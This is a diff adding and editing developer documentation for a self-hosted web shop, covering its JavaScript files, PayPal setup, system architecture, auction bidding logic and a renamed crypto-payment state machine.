- Prefer pure HTML/CSS over JavaScript
- Use `<details>` elements for toggles instead of JS
- External SDKs loaded only when payment method is enabled
- No build step - vanilla JS only
- No jQuery - all vanilla JavaScript
## Static JavaScript Files
Located in `make_post_sell/static/js/`:
### qrcode.min.js
- QRious library for QR code generation
- Used by: Crypto checkout page
- Generates payment QR codes for XMR/DOGE addresses
### custom.js
- Markdown preview functionality
- Functions: `previewAjax()`, `sendPreview()`
- Uses fetch API for AJAX calls to `/markup-editor-preview`
### watch.js
- Watch mode continuous playback engine
- Used by: `product.j2` when shop has `watch_mode_enabled`
- Discovery ring with deterministic content traversal per shop
- Crossfade transitions between media (3s, 60 steps)
- Countdown overlay (7s) between items
- Queue management: add, remove, reorder
- Two-phase preload: JSON metadata fetch, then media buffering 30s before end
- Recently-played filtering via localStorage (4-hour expiry)
- Handles video, audio, and static content (PDFs, images)
- Autoplay toggle persisted in localStorage
- Ring state (position, direction, history) persisted in localStorage
### sandbox.js
- Client-side creative filter engine (IIFE, ~700 lines)
- Used by: `base.j2` when shop has `sandbox_mode` enabled
- 32 CSS filter presets across 7 categories (basic, warm, cool, dramatic, color, Instagram-style, SVG)
- 7 adjustment sliders (brightness, contrast, saturation, hue, blur, sepia, grayscale)
- Image export via canvas `toBlob()` (PNG)
- Video export via `MediaRecorder` + `captureStream(30fps)` (WebM)
- On-demand face detection via MediaPipe Face Mesh (468 landmarks, eye glow, face mask overlays)
- Upload-to-bucket: presigned POST to user's S3 bucket via `/u/sandbox/upload`
- localStorage persistence: preset, slider values, panel state, filter mode
- Exposes `window.sandboxReapply()` for watch.js SPA integration
### signals.js
- Anonymous page visit signal collector
- Used by: all product/content pages
- Collects presence (wall_clock, visible, active), scroll (depth, direction changes), and media playback signals
- Sends single JSON beacon (~300 bytes) via `navigator.sendBeacon()` on page unload
- No cookies, no IPs, no fingerprints — purely behavioral signals
- Viewport width sent for device class derivation (server-side)
### comments.js
- AJAX comment submission (progressive enhancement)
- Intercepts comment form POST, submits via `fetch()` with `X-Requested-With: XMLHttpRequest`
- Server returns JSON (HTTP 201) for AJAX requests
- Inserts new comment into DOM without page reload (preserves media playback)
- Falls back to normal POST + redirect without JS or on error
### player.js
- Pop-out media player with draggable window
- Prev/next navigation and keyboard shortcuts
- Auto-advance for images/PDFs (60s timer)
- Preloads adjacent media for instant switching
- Used by: `/random` and `/tv` endpoints
## Inline JavaScript by Template
### base.j2
**Purpose:** Theme switching (dark/light mode)
- Runs immediately in `<head>` to prevent flash of wrong theme
- Priority: localStorage > user preference > shop default
- Exposes `window.setTheme()` for programmatic use
### shop_settings.j2
**Purpose:** Settings page interactions
- Crypto wallets toggle (checkbox + localStorage)
- Theme preview for shop default theme radio buttons
- Note: Payment provider toggles use pure CSS `<details>` elements
### user_settings.j2
**Purpose:** User theme preference sync
- Syncs theme radio buttons with localStorage
- Updates localStorage on form submit
### cart_checkout.j2
**Purpose:** Payment processing
1. **PayPal SDK** (`paypal.Buttons()`)
- Loads PayPal SDK from `paypal.com`
- Creates orders via `POST /paypal/create-order`
- Handles approval flow and form submission
- Double-click protection flags
2. **Cancel Crypto Quote** (`cancelQuote()`)
- Cancels pending crypto payment quotes
- Uses fetch API with CSRF token
### crypto_checkout.j2
**Purpose:** Crypto payment monitoring
- QR code generation using QRious library
- Countdown timer for quote expiry
- Status polling via fetch API
- Copy-to-clipboard for address/amount
- Dynamic UI updates based on payment status
- Functions: `disableQuoteButtons()`, `removePaymentElements()`, `replaceButtonsWithInvoiceLink()`
### snippets/stripe.j2
**Purpose:** Stripe card form (macro `new_card()`)
- Loads Stripe.js SDK
- Creates Payment Element for card input
- Handles `stripe.confirmSetup()` flow
- Uses vanilla JS with `DOMContentLoaded`
### snippets/analytics.j2
**Purpose:** Analytics tracking (optional)
- Plausible Analytics (privacy-focused)
- Google Analytics (gtag.js)
- Only loaded if shop has configured analytics
### product.j2
**Purpose:** Inline video playback
- `playInline()` replaces thumbnail container with `<video>` element on click
- Used for preview playback on product pages without watch mode
- Loads `watch.js` when shop has `watch_mode_enabled`
### snippets/comments.j2
**Purpose:** Comment form
- Loads `comments.js` async for AJAX submission
- Uses `js-only` class pattern for elements requiring JS
### snippets/optional-javascript.j2
**Purpose:** Optional JS loading
- Loads custom.js async
- Used for markdown preview functionality
## External SDKs
| SDK | URL | Used For |
|-----|-----|----------|
| PayPal | `paypal.com/sdk/js` | PayPal button/checkout |
| Stripe | `js.stripe.com/v3/` | Card payment form |
| Plausible | Shop-configured domain | Privacy analytics |
| Google Analytics | `googletagmanager.com` | Google analytics |
| MediaPipe | `cdn.jsdelivr.net` | Face detection (sandbox mode, on-demand) |
## CSRF Protection
All fetch/AJAX calls include CSRF tokens:
- Header: `X-CSRF-Token`
- Value from: `{{ request.session.get_csrf_token() }}` or hidden input
## Progressive Enhancement
Pages work without JavaScript where possible:
- Payment provider toggles use `<details>` (pure CSS)
- Forms submit normally without JS
- JS enhances UX (copy buttons, QR codes, live previews)
- Comment forms POST normally without JS; AJAX submission preserves playback with JS
- Watch mode elements use `js-only` class (hidden via `<noscript>` stylesheet)
- Video thumbnails link directly to media without JS; inline playback with JS

81
docs/PAYPAL.md Normal file
View file

@ -0,0 +1,81 @@
# PayPal Payments
PayPal is available as a payment method alongside Stripe and crypto (XMR/DOGE).
## Privacy Warning
PayPal requires invasive identity verification to receive payments:
- ML-based face scanning (biometric capture)
- Two images of your face from different angles
- Photos of both sides of government-issued ID (driver's license, passport)
- Business verification for merchant accounts
This verification is required to move from sandbox to live production payments. There is no way to accept PayPal payments anonymously or privately. If privacy is important to you, consider crypto payments (XMR/DOGE) instead.
## Shop Setup
1. Go to https://developer.paypal.com/dashboard/
2. Create an app (sandbox for testing, live for production)
3. Complete identity verification (face scan + government ID)
4. Copy Client ID and Secret
5. In Shop Settings → PayPal Settings, enter credentials and save
## Configuration
Global settings in `development.ini`:
```ini
app.payments.paypal.enabled = True
app.paypal.sandbox_mode = True
```
Or environment variables:
```bash
export MPS_PAYMENTS_PAYPAL_ENABLED=True
export MPS_PAYPAL_SANDBOX_MODE=True
```
## How It Works
- Each shop configures their own PayPal credentials
- PayPal button appears at checkout when enabled
- Payment info stored on Invoice (`paypal_order_id`, `paypal_capture_id`)
- `Invoice.payment_method` returns "paypal" for PayPal payments
- Saved payment methods stored in `PayPalUserShop`
## Webhooks
Webhooks provide resilience when JavaScript callbacks fail. Configure in PayPal Developer Dashboard:
1. Go to https://developer.paypal.com/dashboard/applications
2. Select your app → Webhooks → Add Webhook
3. Enter URL: `https://yourdomain.com/webhooks/paypal`
4. Subscribe to events:
- `PAYMENT.CAPTURE.COMPLETED`
- `CHECKOUT.ORDER.APPROVED`
- `PAYMENT.CAPTURE.DENIED`
- `CUSTOMER.DISPUTE.CREATED`
5. Copy the Webhook ID
6. Set in your ini: `paypal.webhook_id = YOUR_WEBHOOK_ID`
## Code
- `make_post_sell/views/cart.py` - PayPal checkout functions (`paypal_create_order`, `paypal_complete_checkout`)
- `make_post_sell/views/billing.py` - Disconnect saved PayPal
- `make_post_sell/views/webhooks.py` - Webhook handlers
## Database
**mps_shop columns:**
- `paypal_client_id` - Shop's PayPal Client ID
- `paypal_secret` - Shop's PayPal Secret
- `paypal_enabled` - Toggle PayPal on/off
**mps_invoice columns:**
- `paypal_order_id` - PayPal order reference
- `paypal_capture_id` - PayPal capture reference
**mps_paypal_user_shop table:**
- Tracks saved PayPal payment methods per user/shop

270
docs/architecture.md Normal file
View file

@ -0,0 +1,270 @@
# MPS Architecture Overview
## System Diagram
```
Internet
|
┌────────┴────────┐
│ Caddy (HTTPS) │
│ reverse proxy │
│ :443 → :6001 │
└────────┬────────┘
|
┌────────┴────────┐
│ uWSGI │
│ 2 proc, 8 thr │
│ reload@512MB │
└────┬───────┬────┘
| |
┌──────────────┘ └──────────────┐
| |
┌────────┴────────┐ ┌────────┴────────┐
│ Pyramid / WSGI │ │ Background │
│ Request Cycle │ │ Threads │
│ │ │ │
│ views/ │ │ S3 mirror │
│ models/ │ │ Karaoke vocal │
│ templates/ │ │ isolation │
│ lib/ │ │ │
└───┬────┬────┬───┘ └────────┬────────┘
| | | |
┌─────────┘ | └─────────┐ |
| | | |
┌────┴────┐ ┌─────┴─────┐ ┌────┴────────┐ ┌───────┴───────┐
│ SQLite │ │ DO Spaces │ │ Payment │ │ DO Spaces │
│ DB │ │ (CDN) │ │ Providers │ │ + User S3 │
│ │ │ │ │ │ │ + Mirror S3 │
│ models │ │ media │ │ Stripe │ │ │
│ sessions│ │ thumbs │ │ PayPal │ │ Presigned │
│ signals │ │ assets │ │ Crypto │ │ URLs only │
│ │ │ │ │ Gift Cards │ │ │
└─────────┘ └────────────┘ └──────────────┘ └───────────────┘
```
## Request Flow
```
Browser GET /s/{shop_id}/{slug}
│
├─ Pyramid route dispatch
│ └─ views/content.py or views/product.py
│ ├─ Query product + shop from SQLite
│ ├─ Compute discovery ring related products
│ ├─ Generate presigned URLs for media (15 min TTL)
│ └─ Render Jinja2 template
│
├─ Template layers:
│ ├─ base.j2 (theme, nav, conditional sandbox toolbar)
│ ├─ product.j2 / content.j2 (media, metadata, CTA)
│ ├─ snippets/related_content.j2 (ring sidebar)
│ ├─ snippets/comments.j2 (comment form + list)
│ └─ snippets/analytics.j2 (optional Plausible/GA)
│
├─ Client JS (progressive enhancement):
│ ├─ signals.js → anonymous beacon on unload
│ ├─ watch.js → SPA navigation (if watch_mode_enabled)
│ ├─ sandbox.js → filter toolbar (if sandbox_mode)
│ └─ comments.js → AJAX comment submission
│
└─ Media served from CDN via presigned URLs (never through uwsgi)
```
## Data Collection Pipeline
```
Page visit (browser)
│
│ signals.js collects:
│ - presence (wall_clock, visible, active ms)
│ - scroll (depth, direction changes)
│ - media (play, pause, seek, speed, completion)
│ - viewport width
│
▼
navigator.sendBeacon("/signals/beacon")
│ ~300 bytes JSON, one per page visit
│
▼
views/signals.py
│
├─ classify_referrer(Referer header)
│ → (class, domain, query) tuple
│ Stores: referrer_class, referrer_domain, referrer_query
│
├─ classify_device(viewport_width)
│ → 0=mobile, 1=tablet, 2=desktop
│
├─ Insert mps_page_session row
│
└─ If visible_ms >= 7000:
increment product.view_count
```
## Analytics Pipeline
```
mps_page_session (raw rows)
│
├─ views/analytics.py
│ │
│ ├─ Daily bucketing functions (28-day windows):
│ │ _daily_buckets() → view counts (bar chart)
│ │ _daily_avg_duration() → avg session duration
│ │ _daily_engagement() → engagement ratio
│ │ _daily_bounce_rate() → bounce rate
│ │ _daily_referrer_counts()→ external referrer volume
│ │
│ ├─ Ranked queries:
│ │ _top_referrer_domains() → top external domains
│ │ _top_referrer_queries() → top search engine queries
│ │ _top_search_keywords() → top internal search terms
│ │
│ └─ Aggregate queries:
│ Overview strip (7d)
│ Top products by views (7/14/21d)
│ Ring entry points
│ Engagement/attention leaders
│ Study material / background favorites
│ Traffic sources / device split
│
├─ templates/analytics.j2 (shop-level dashboard)
│ └─ SVG line_chart macro (server-rendered polyline)
│
└─ templates/analytics_product.j2 (per-product dashboard)
└─ SVG line_chart macro
```
## S3 Storage Architecture
```
┌─────────────────────────────────────────────────────────┐
│ MPS Main Bucket │
│ (DigitalOcean Spaces + CDN) │
│ │
│ {shop_id}/products/{product_id}/{filename} │
│ {shop_id}/products/{product_id}/thumb/{filename} │
│ {shop_id}/shop/{logo|banner} │
│ {shop_id}/products/{product_id}/karaoke/{filename} │
└───────────┬─────────────────────────────────┬────────────┘
│ │
Presigned URLs Mirror sync
(15 min TTL) (daemon thread)
│ │
▼ ▼
Browser / CDN ┌────────────────────┐
│ Shop Mirror Bucket │
│ (shop.has_s3_mirror)│
│ │
│ Same key structure │
│ Passive copy │
│ Backfill on setup │
└─────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ Shop Primary Bucket (BYOB) │
│ (shop.has_primary_s3 — MPS-16) │
│ │
│ When enabled, REPLACES MPS Main Bucket for this shop: │
│ - All presigned URLs use shop's S3 client │
│ - All CDN URLs use shop's cdn_endpoint │
│ - request.shop_uploads_client / shop_bucket_name / │
│ shop_cdn_endpoint fall back to MPS default when off │
│ │
│ Configured via bucket-settings form section │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ User Artifact Bucket │
│ (user.has_s3_bucket) │
│ │
│ sandbox/{user_id}/{timestamp}-{filename} │
│ │
│ Presigned POST from /u/sandbox/upload │
│ Browser uploads directly (never through MPS server) │
│ 50MB max per file │
└─────────────────────────────────────────────────────────┘
```
## Feature Toggle Matrix
| Feature | Model Column | Form Section | Default |
|---------|-------------|--------------|---------|
| Watch mode | `shop.watch_mode_enabled` | `ribbon-settings` | Off |
| Sandbox mode | `shop.sandbox_mode` | `ribbon-settings` | Off |
| Show price history (MPS-24 Phase 2.5) | `shop.show_price_history` | `ribbon-settings` | Off |
| Show dates | `shop.show_dates` | `ribbon-settings` | On |
| Grid lanes | `shop.grid_lanes_enabled` | `ribbon-settings` | Off |
| Color filter | `shop.color_filter` | `ribbon-settings` | 0 (none) |
| Comments | `shop.comments_enabled` | `comment-settings` | On |
| Stripe | `shop.stripe_enabled` | `stripe-settings` | On |
| PayPal | `shop.paypal_*` | `paypal-settings` | Off |
| Crypto | `shop.monero_*` / `shop.dogecoin_*` | `crypto-settings` | Off |
| Gift cards | `shop.gift_card_enabled` | `gift-card-settings` | Off |
| S3 mirror | `shop.mirror_s3_*` | `mirror-settings` | Off |
| BYOB (primary S3) | `shop.primary_s3_*` | `bucket-settings` | Off |
| Environment | `shop.environment` | `environment-settings` | 0 (production) |
| Trial | `shop.trial_started_timestamp` | Auto on creation | 21 days |
| Discovery ring | `shop.discovery_ring` | Automatic | Auto-computed |
| Subscriptions | `shop.subscription_*` | `ribbon-settings` | Off |
| Karaoke (vocal isolation) | `shop.unsandbox_*_key` | `unsandbox-settings` | Off |
| Make-an-offer | `shop.offer_enabled` + `product.allow_offers` | `offer-settings` | Off |
| Offer expiration (hours) | `shop.offer_expiration_hours` | `offer-settings` | 48 |
| Offer pay window post-accept (hours) | `shop.offer_acceptance_payment_hours` | `offer-settings` | 24 |
| In-app notifications | (always on, no toggle — every txn email also drops a row) | n/a | On |
| Home page layout (MPS-24) | `shop.home_layout` (0=flat / 1=chips / 2=lanes) | `home-layout-settings` | 0 (flat) |
| Tag chip / lane caps (MPS-24) | `shop.home_layout_tag_limit` / `shop.home_layout_per_lane_limit` | `home-layout-settings` | 8 / 10 |
| Featured products strip (MPS-24) | `shop.featured_product_ids_json` | `home-layout-settings` | empty |
| Product tags (MPS-24) | `Tag` + `ProductTag` association | product edit + `/s/{id}/tags` bulk editor | — |
| Tag auto-suggest (MPS-24 Phase 2) | `lib/tag_suggest.py` over `Product.title` + `Product.description` | `?show_suggestions=1` on `/s/{id}/tags` + `scripts/backfill_tags.py` | Never auto-applies |
| Tag-detail facet sidebar (MPS-24 Phase 2.6) | `shop_tag.j2` + `views/shop.py` `_price_range_from_request` / `_filter_by_price_range` | Sort + price range + categories list, GET form, sidebar ≥800px, top chip strip <800px | Always on for tag detail pages |
| 6-sentence SERP excerpt (MPS-24 Phase 2.6) | `Product.excerpt_sentences(n=6, max_chars=1500)` via shared `_strip_markdown()` helper | `shop_tag.j2` row description | Always on |
| Facet nav on shop home (MPS-24 Phase 2.6b) | `_facet_nav.j2` macros + `home.j2` / `shop.j2` wrappers | Desktop sidebar + mobile `<details>` accordion when `shop.home_layout >= 1` | Opt-in via home_layout |
| Mobile SERP rows under each lane (MPS-24 Phase 2.6b) | `home.j2` / `shop.j2` `.tag-lane-rows` markup + CSS visibility swap | Horizontal tiles ≥800px; vertical SERP rows with 6-sentence excerpts <800px | On for layout 2 |
| Per-product SPA tag chips (MPS-24 Phase 2.7) | `product_tags` view (`/p/{id}/tags`) + `static/js/product_tags.js` + `views/__init__.py:is_ajax()` | Chip add/remove on product edit, AJAX persist, no full page reload; no-JS keeps the comma `tags` field on the main form | Always on (JS-enhanced; no-JS fallback) |
| Bulk tagger AJAX focus + DnD (MPS-24 Phase 2.8) | `shop.py:shop_tags` AJAX `?focus=` branch + `tag_bulk.js` `wireFocusLinks`/`wireDragAndDrop` | Tag chip click swaps product list in place (no reload); HTML5 drag-to-reorder POSTs `set_order`; bare GET no longer loads the whole catalog | Always on (JS-enhanced; no-JS = real navigation) |
## Ticket Index
| Ticket | Title | Status |
|--------|-------|--------|
| [MPS-0](tickets/mps-0.md) | AJAX Comment Submission | Complete |
| [MPS-1](tickets/mps-1.md) | YouTube-Style Watch Experience | Complete |
| [MPS-2](tickets/mps-2.md) | Anonymous Signal Gathering & View Count | Complete |
| [MPS-3](tickets/mps-3.md) | Creator Analytics Dashboard | Complete |
| [MPS-4](tickets/mps-4.md) | Eliminate 502s from uWSGI Worker Recycling | Complete |
| [MPS-5](tickets/mps-5.md) | Investigate uWSGI Worker Memory Growth | Open |
| [MPS-6](tickets/mps-6.md) | Referrer Analytics — Domain, Query, Trend Lines | Complete |
| [MPS-7](tickets/mps-7.md) | Sandbox Mode — Creative Filter System | Complete |
| [MPS-8](tickets/mps-8.md) | User S3 Bucket + Artifact Storage | Complete |
| [MPS-9](tickets/mps-9.md) | Shop S3 Mirror Bucket | Complete |
| [MPS-10](tickets/mps-10.md) | Gift Card — Models & Migration | Complete |
| [MPS-11](tickets/mps-11.md) | Gift Card — Purchase Flow | Complete |
| [MPS-12](tickets/mps-12.md) | Gift Card — Redemption at Checkout | Complete |
| [MPS-13](tickets/mps-13.md) | Gift Card — Shop Admin & Settings | Complete |
| [MPS-14](tickets/mps-14.md) | Shop Environment — Dev & Stage Shops | Complete |
| [MPS-15](tickets/mps-15.md) | 21-Day Free Trial | Complete |
| [MPS-16](tickets/mps-16.md) | Bring Your Own Bucket (BYOB) | Complete |
| [MPS-17](tickets/mps-17.md) | REST API v1 — HMAC-signed product/content + upload | Open |
| [MPS-18](tickets/mps-18.md) | Karaoke Mode — Diagnose & Fix Vocal Isolation | Open (Broken in prod) |
| [MPS-19](tickets/mps-19.md) | BitTorrent / Magnet Link — Diagnose & Fix Distribution | Open (Broken in prod) |
| [MPS-20](tickets/mps-20.md) | Auction House Mode (eBay-style Bidding) | Complete |
| [MPS-21](tickets/mps-21.md) | Make-an-Offer Mode | Complete |
| [MPS-22](tickets/mps-22.md) | Kill-Switch Feature Flags — Karaoke + Torrent Off by Default | Complete |
| [MPS-23](tickets/mps-23.md) | Consolidated Transactional Sender Identity + Shop Contact Email | Open |
| [MPS-24](tickets/mps-24.md) | Shop home page overhaul + product categorization (tags + chips + lanes + auto-suggest + per-product SPA tag chips + bulk-tagger AJAX/DnD) | In progress (Phases 1 + 2 + 2.6 + 2.7 + 2.8 landed) |
## Related Docs
| Doc | Purpose |
|-----|---------|
| [Design System](design-system.md) | Design tokens, CSS architecture, component library |
| [Notifications](notifications.md) | In-app notification table, kinds, and per-transition wiring |
| [Auction House](auction-house.md) | MPS-20 — bidding, soft-close, payment deadline |
| [Make Offer](make-offer.md) | MPS-21 — offer state machine, counter rounds, expiry |
| [JavaScript](JAVASCRIPT.md) | Client-side JS architecture |
| [Karaoke Pipeline](karaoke-pipeline.md) | Vocal isolation: pipeline, on-demand, streaming architecture |
| [Sandbox Mode](sandbox-mode.md) | Creative filter system |
| [Auction House](auction-house.md) | MPS-20: state machine, bidding logic, soft-close, proxy |
| [Make-an-Offer](make-offer.md) | MPS-21: state machine, counter rounds, auto-accept/decline |
| [Testing Performance](testing-performance.md) | Test suite optimization |

133
docs/auction-house.md Normal file
View file

@ -0,0 +1,133 @@
# Auction House Mode (MPS-20)
eBay-style bidding for any product. Shop owner flips `Product.pricing_mode`
to `1` (auction) or `2` (auction + buy-now) on the product edit page; the
system creates a draft `MpsAuction` row and the auction page goes live
once the owner schedules `start_timestamp` and `end_timestamp`.
## State Machine
```
draft → scheduled → active → ended → settled
↘ cancelled
```
| state | transition |
|-------|-----------|
| 0 draft | owner editing; not visible to buyers |
| 1 scheduled | countdown to start_timestamp; tick promotes to active |
| 2 active | accepting bids; soft-close extends end_timestamp |
| 3 ended | bidding closed; winner determined; payment_deadline_timestamp set |
| 4 settled | winner paid via cart; product transferred (mark_paid hook) |
| 5 cancelled | owner aborted (pre-active only) |
## Models
- `MpsAuction` — one per Product (unique index on `product_id`); fields
for state, timestamps, prices (start/reserve/buy_now), bid_increment,
soft_close_seconds, winner_user_id, payment_deadline_timestamp.
- `MpsBid` — one row per bid; `is_winning` flag flips when outbid.
Stores `max_proxy_in_cents` for proxy bidding.
- `MpsAuctionWatcher` — user follows the auction; drives notifications.
- `MpsCartAuction` — cart-side association so checkout pays the
winning bid amount instead of `Product.price_in_cents`.
## Bidding Logic (`lib/auction.py`)
Pure helpers:
- `validate_bid` — state must be ACTIVE; first bid >= start_price;
subsequent >= current_high + increment.
- `is_within_soft_close` / `extended_end_timestamp` — soft-close math.
- `resolve_proxy` — eBay-style: higher proxy wins; loser auto-bids
defending bidder up to `min(loser_proxy + increment, winner_proxy)`;
ties go to the existing top.
Orchestrator:
- `place_bid(auction, bidder, amount, max_proxy)` — validates, writes
the new `MpsBid`, marks prior winning bid `is_winning=False` with
`outbid_timestamp`, applies proxy resolution, applies soft-close,
flushes. Raises `BidRejected` on rejection.
## Buy-Now (mode 2)
`POST /a/{id}/buy-now` from a buyer places a bid at
`buy_now_price_in_cents`, sets `state=ENDED`, records winner. Buyer
proceeds to `/a/{id}/checkout` to pay.
## Soft-Close (anti-snipe)
A bid placed within `soft_close_seconds` of `end_timestamp` extends the
end by `soft_close_seconds`. `original_end_timestamp` preserves the
scheduled close for audit.
## Tick (`scripts/auction_tick.py`)
Cron-driven state transitions:
- `SCHEDULED + start_timestamp <= now → ACTIVE`
- `ACTIVE + end_timestamp <= now → ENDED`
- records winner from `is_winning` bid (if any)
- sets `payment_deadline_timestamp = now + 48h`
Recommended cron: every minute (`* * * * *`). 60s default soft-close
window means 1-min granularity is fine.
## Routes
```
GET /a/{auction_id} live page (auction.j2 + auction.js)
GET /a/{auction_id}.json JSON state (one-shot; fallback poll)
GET /a/{auction_id}/events bounded SSE feed of auction state (public)
POST /a/{auction_id}/bid place bid (login required, no self-bid)
POST /a/{auction_id}/buy-now end auction at buy_now (mode 2)
POST /a/{auction_id}/watch toggle watcher
POST /a/{auction_id}/checkout winner pays via standard cart flow
```
## Cart Integration
When `cart.cart_auctions` has one row, `cart.total_price_in_cents`
short-circuits to the winning bid amount + handling +
gift-card-purchases. After standard cart payment success,
`_finalize_auction_offer_state` flips `state=SETTLED` and records
`winner_user_id` + `winning_bid_id`.
## Live UI (`static/js/auction.js`)
- Countdown clock ticks every 1s (data-end-timestamp attribute)
- Live state via a **bounded SSE feed** `/a/{id}/events` (`auction_events`
view → `lib/sse.py`): polls the row ~every 1.5s, emits a `data:` frame
on connect and on bid/soft-close/state change, heartbeats, then closes
after ~25s so `EventSource` reconnects (uWSGI sync workers can't hold
long-lived connections). `auction.js` calls `applyState()` per frame.
Where `EventSource` is unavailable it falls back to polling
`/a/{id}.json` every 5s. The countdown is NOT part of the SSE change
signal — the client derives it from `end_timestamp`.
- AJAX bid submit; success/error flash without page reload
The page works fully without JS (capability-driven presentation): `bid`,
`buy-now`, and `watch` POSTs flash a status message and `302`-redirect
back to `/a/{auction_id}` for a plain browser submit; they return JSON
only when the request carries `X-Requested-With: XMLHttpRequest`. The
no-JS path is the source of truth; JSON is an enhancement.
Functional coverage: `TestAuctionRoutes` drives the JSON path,
`TestAuctionNoJsFallback` the plain-POST path.
## Email Notifications
- `AUCTION_OUTBID` — sent to previous high bidder when their bid is
beaten (sent from `auction_bid` view, after `place_bid` succeeds
and a different user takes the lead).
Tick-driven won emails (when an auction ends) are deferred — tick
scripts run from cron without a Pyramid request context. A future
commit will either wire a request-less email path or queue the events
for the next view to flush.
## Testing
712 baseline tests + 27 (foundation) + 24 (lib/auction) + 11 (views)
+ 9 (form sections) + 13 (cart integration) + 10 (tick) + 4 (emails)
+ 3 (UI) = 813 net new across MPS-20 (some shared with MPS-21).

122
docs/crypto-payments-state-machine.md
View file

@ -7,8 +7,8 @@ This document visualizes the complete state machine for cryptocurrency payments
```mermaid
stateDiagram-v2
[*] --> pending
[*] --> doublepay_refunded : Duplicate payment detected
[*] --> latepay_refunded: Late payment detected
[*] --> doublepay-refunded : Duplicate payment detected
[*] --> latepay-refunded: Late payment detected
%% Main payment flow
pending --> received : Payment detected in mempool
@ -18,47 +18,47 @@ stateDiagram-v2
%% From received state - multiple possible outcomes
%% NOTE: received payments CANNOT expire (detected in mempool, confirmations tracking)
received --> confirmed : Sufficient payment + confirmations
received --> confirmed_overpay : Overpayment detected
received --> underpaid_refunded : Underpayment detected
received --> out_of_stock_refunded : Product unavailable
received --> confirmed-overpay : Overpayment detected
received --> underpaid-refunded : Underpayment detected
received --> out-of-stock-refunded : Product unavailable
%% Successful payment paths
confirmed --> confirmed_complete : Swept to cold storage
confirmed_complete --> [*] : ✓ Terminal Success
confirmed --> confirmed-complete : Swept to cold storage
confirmed-complete --> [*] : ✓ Terminal Success
%% Overpayment refund flow
confirmed_overpay --> confirmed_overpay_refunded : Initiate refund
confirmed_overpay_refunded --> confirmed_overpay_refunded_complete : Refund confirmed
confirmed_overpay_refunded --> confirmed_overpay_not_refunded : No refund wallet configured
confirmed_overpay_refunded_complete --> [*] : ✓ Terminal Success
confirmed_overpay_not_refunded --> [*] : ✓ Terminal Success (Not Refunded)
confirmed-overpay --> confirmed-overpay-refunded : Initiate refund
confirmed-overpay-refunded --> confirmed-overpay-refunded-complete : Refund confirmed
confirmed-overpay-refunded --> confirmed-overpay-not-refunded : No refund wallet configured
confirmed-overpay-refunded-complete --> [*] : ✓ Terminal Success
confirmed-overpay-not-refunded --> [*] : ✓ Terminal Success (Not Refunded)
%% Expired payment handling (terminal - late payments create new objects)
expired --> [*] : ✓ Terminal Failed (Expired)
%% Late payment objects (created separately for payments after expiration)
latepay_refunded --> latepay_refunded_complete : Refund confirmed
latepay_refunded --> latepay_not_refunded : No refund wallet configured
latepay_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
latepay_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
latepay-refunded --> latepay-refunded-complete : Refund confirmed
latepay-refunded --> latepay-not-refunded : No refund wallet configured
latepay-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
latepay-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% Underpayment refund flow
underpaid_refunded --> underpaid_refunded_complete : Refund confirmed
underpaid_refunded --> underpaid_not_refunded : No refund wallet configured
underpaid_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
underpaid_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
underpaid-refunded --> underpaid-refunded-complete : Refund confirmed
underpaid-refunded --> underpaid-not-refunded : No refund wallet configured
underpaid-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
underpaid-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% Out of stock refund flow
out_of_stock_refunded --> out_of_stock_refunded_complete : Refund confirmed
out_of_stock_refunded --> out_of_stock_not_refunded : No refund wallet configured
out_of_stock_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
out_of_stock_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
out-of-stock-refunded --> out-of-stock-refunded-complete : Refund confirmed
out-of-stock-refunded --> out-of-stock-not-refunded : No refund wallet configured
out-of-stock-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
out-of-stock-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% Double payment refund flow
doublepay_refunded --> doublepay_refunded_complete : Refund confirmed
doublepay_refunded --> doublepay_not_refunded : No refund wallet configured
doublepay_refunded_complete --> [*] : ✓ Terminal Failed (Refund Complete)
doublepay_not_refunded --> [*] : ✓ Terminal Failed (Not Refunded)
doublepay-refunded --> doublepay-refunded-complete : Refund confirmed
doublepay-refunded --> doublepay-not-refunded : No refund wallet configured
doublepay-refunded-complete --> [*] : ✓ Terminal Failed (Refund Complete)
doublepay-not-refunded --> [*] : ✓ Terminal Failed (Not Refunded)
%% User cancellation (always terminal, only from pending)
cancelled --> [*] : ✓ Terminal Failed (Cancelled)
@ -71,19 +71,19 @@ stateDiagram-v2
classDef processingState fill:#cce5ff,stroke:#004085,color:#004085
%% Successful payments (customer received product)
class confirmed,confirmed_complete,confirmed_overpay_refunded_complete,confirmed_overpay_not_refunded successState
class confirmed,confirmed-complete,confirmed-overpay-refunded-complete,confirmed-overpay-not-refunded successState
%% Initial/waiting states (entry points that don't come from 'received')
class pending,latepay_refunded,doublepay_refunded initialWaitingState
class pending,latepay-refunded,doublepay-refunded initialWaitingState
%% Active refund processing states
class confirmed_overpay_refunded,underpaid_refunded,out_of_stock_refunded refundState
class confirmed-overpay-refunded,underpaid-refunded,out-of-stock-refunded refundState
%% Failed payments (customer did not receive product)
class expired,cancelled,latepay_refunded_complete,latepay_not_refunded,underpaid_refunded_complete,underpaid_not_refunded,out_of_stock_refunded_complete,out_of_stock_not_refunded,doublepay_refunded_complete,doublepay_not_refunded failedState
class expired,cancelled,latepay-refunded-complete,latepay-not-refunded,underpaid-refunded-complete,underpaid-not-refunded,out-of-stock-refunded-complete,out-of-stock-not-refunded,doublepay-refunded-complete,doublepay-not-refunded failedState
%% Processing states
class received,confirmed_overpay processingState
class received,confirmed-overpay processingState
```
## Semantic State Groups
@ -94,8 +94,8 @@ The state machine uses semantic groups to categorize states by business logic pu
Entry point states that don't transition from `received` - they represent the start of payment flows:
- **`pending`** - Initial state for new payment requests
- **`latepay_refunded`** - Initial state for late payment objects (payments received after expiration)
- **`doublepay_refunded`** - Initial state for duplicate payment objects (separate payment instances)
